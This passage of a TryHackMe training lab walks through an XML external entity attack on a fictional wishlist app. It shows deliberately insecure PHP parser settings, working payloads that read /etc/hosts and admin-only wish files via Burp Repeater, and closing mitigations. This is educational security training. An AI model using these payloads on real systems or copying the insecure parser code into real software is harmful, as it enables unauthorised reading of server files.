wishlist.php with the following XML as input. <wishlist> <user_id>1</user_id> <item> <product_id>1</product_id> </item> </wishlist> In the above XML, <product_id> tag contains the ID of the product, which is 1 in this case. Now, let's review the Add to Wishlist request logged in Burp Suite's HTTP History option under the proxy tab. As discussed above, the request contains XML being forwarded as a POST request, as shown below: This wishlist.php accepts the request and parses the request using the following code: <?php .. ... libxml_disable_entity_loader(false); $wishlist = simplexml_load_string($xml_data, "SimpleXMLElement", LIBXML_NOENT); ... .. echo "Item added to your wishlist successfully."; ?> Preparing the Payload When a user sends specially crafted XML data to the application, the line libxml_disable_entity_loader(false) allows the XML parser to load external entities. This means the XML input can include external file references or requests to remote servers. When the XML is processed by simplexml_load_string with the LIBXML_NOENT option, the web app resolves external entities, allowing attackers access to sensitive files or allowing them to make unintended requests from the server. What if we update the XML request to include references for external entities? We will use the following XML instead of the above XML: <!--?xml version="1.0" ?--> <!DOCTYPE foo [<!ENTITY payload SYSTEM "/etc/hosts"> ]> <wishlist> <user_id>1</user_id> <item> <product_id>&payload;</product_id> </item> </wishlist> When we send this updated XML payload, the first two lines introduce an external entity called payload. The line <!ENTITY payload SYSTEM "/etc/hosts"> tells the XML parser to replace the &payload; reference with the contents of the file /etc/hosts on the server. When the XML is processed, instead of a normal product_id, the application will try to load and include the contents of the file specified in the entity (/etc/hosts). Exploitation Now, let's perform the exploitation by repeating the request we captured earlier. The Burp Suite tool has a feature known as Repeater that allows you to send multiple HTTP requests. We will use this feature to duplicate our HTTP POST request and send it multiple times to exploit the vulnerability. Right-click on the wishlist.php POST request and click on Send to Repeater. Now, switch to the Repeater tab, where you'll find the POST request that needs to be modified. We will update the XML payload with the new data as shown below and then send the modified request: Place the mouse cursor inside the request in the Repeater tab in Burp Suite and press Ctrl+V or paste the payload in the above-highlighted area. When we clicked Send, the server processed the malicious XML payload, which included the external entity reference to /etc/hosts. As a result, the wishlist.php responded with the contents of the /etc/hosts file, leading to an XXE vulnerability. Time for Some Action Now that you've identified a vulnerability in the application, it's time to see it in action! McSkidy Software has tasked us with finding loopholes, and we've successfully uncovered one in the wishlist.php endpoint. But our work doesn't end there—let's take it a step further and assess the potential impact this vulnerability could have on the application. Earlier, we discovered a page accessible only by administrators, which seems like an exciting target. What if we could use the vulnerability we've found to access sensitive information, like the wishes placed by the townspeople? Now that our objective is clear, let's leverage the vulnerability we discovered to read the contents of each wishes page and demonstrate the full extent of this flaw to help McSkidy secure the platform. To get started, let's recall the page that is only accessible by admins - /wishes/wish_1.txt. Using this path, we just need to guess the potential absolute path of the file. Typically, web applications are hosted on /var/www/html. With that in mind, let's build our new payload to read the wishes while leveraging the vulnerability. Note: Not all web applications use the path /var/www/html, but web servers typically use it. <!--?xml version="1.0" ?--> <!DOCTYPE foo [<!ENTITY payload SYSTEM "/var/www/html/wishes/wish_1.txt"> ]> <wishlist> <user_id>1</user_id> <item> <product_id>&payload;</product_id> </item> </wishlist> Surprisingly, we got lucky that our assumption worked. The next thing to do is see whether we can view more wishes using our discovery. To do this, let's try replacing the wish_1.txt with wish_2.txt. As a result, we were able to view the next wish. You may observe that we just incremented the number by one. Given this, you may continue checking the other wishes and see all the wishes stored in the application. After iterating through the wishes, we have proved the potential impact of the vulnerability, and anyone who leverages this could read the wishes submitted by the townspeople of Wareville. Conclusion It was confirmed that the application was vulnerable, and the developers were not at fault since they only wanted to give the townspeople something before Christmas. However, it became evident that bypassing security testing led to an application that did not securely handle incoming requests. As soon as the vulnerability was discovered, McSkidy promptly coordinated with the developers to implement the necessary mitigations. The following proactive approach helped to address the potential risks against XXE attacks: * Disable External Entity Loading: The primary fix is to disable external entity loading in your XML parser. In PHP, for example, you can prevent XXE by setting libxml_disable_entity_loader(true) before processing the XML. * Validate and Sanitise User Input: Always validate and sanitise the XML input received from users. This ensures that only expected data is processed, reducing the risk of malicious content being included in the request. For example, remove suspicious keywords like /etc/host, /etc/passwd, etc, from the request. After discovering the vulnerability, McSkidy immediately remembered that a CHANGELOG file exists within the web application, stored at the following endpoint: http://MACHINE_IP/CHANGELOG. After checking, it can be seen that someone pushed the vulnerable code within the application after Software's team. With this discovery, McSkidy still couldn't confirm whether the Mayor intentionally made the application vulnerable. However, the Mayor had already become suspicious, and McSkidy began to formulate theories about his possible involvement. Answer the questions below What is the flag discovered after navigating through the wishes? Login to answer..Hint What is the flag seen on the possible proof of sabotage? Login to answer.. If you want to learn more about the XXE injection attack, check out the XXE room! Login to answer.. Following McSkidy's advice, Software recently hardened the server. It used to have many unneeded open ports, but not anymore. Not that this matters in any way. Login to answer.. Created by tryhackme ar33zy cmnatic Dex01 timtaylor munra hk strategos Fontaene SecurityNomad am03bam4n umairalizafar hadrian3689 melmols Maxablancas 1337rce MartaStrzelec DrGonz0 h4sh3m00 l000g1c rePl4stic Aashir.Masood str3g4tt4 Room Type Free Room. Anyone can deploy virtual machines in the room (without being subscribed)! Users in Room 102.760 Created today LEARNING * Hands-on labs * For Business * For Education * Competitive Hacking RESOURCES * About Us * Newsroom * Blog * Glossary * Work at TryHackMe * Careers in Cyber SHOP * Buy Vouchers * Swag Shop GET IN TOUCH * Contact Us * Forum We're a gamified, hands-on cyber security training platform that you can access through your browser. 128 City Road, London, United Kingdom, EC1V 2NX Copyright TryHackMe 2018-2024 Privacy PolicyTerms of UseAI Terms of UseAcceptable Use PolicyCookie Policy Exit split view We use cookies to ensure you get the best user experience. For more information contact us. Read moreGot it!